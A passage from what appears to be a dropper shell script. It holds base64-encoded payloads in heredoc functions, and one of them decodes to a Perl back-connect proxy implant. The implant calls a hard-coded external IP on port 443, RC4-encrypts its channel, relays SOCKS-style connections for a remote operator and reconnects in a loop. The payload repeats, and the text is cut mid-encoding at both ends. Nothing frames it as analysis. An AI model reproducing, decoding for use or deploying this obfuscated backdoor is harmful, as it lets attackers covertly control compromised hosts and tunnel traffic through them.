dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_19() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb 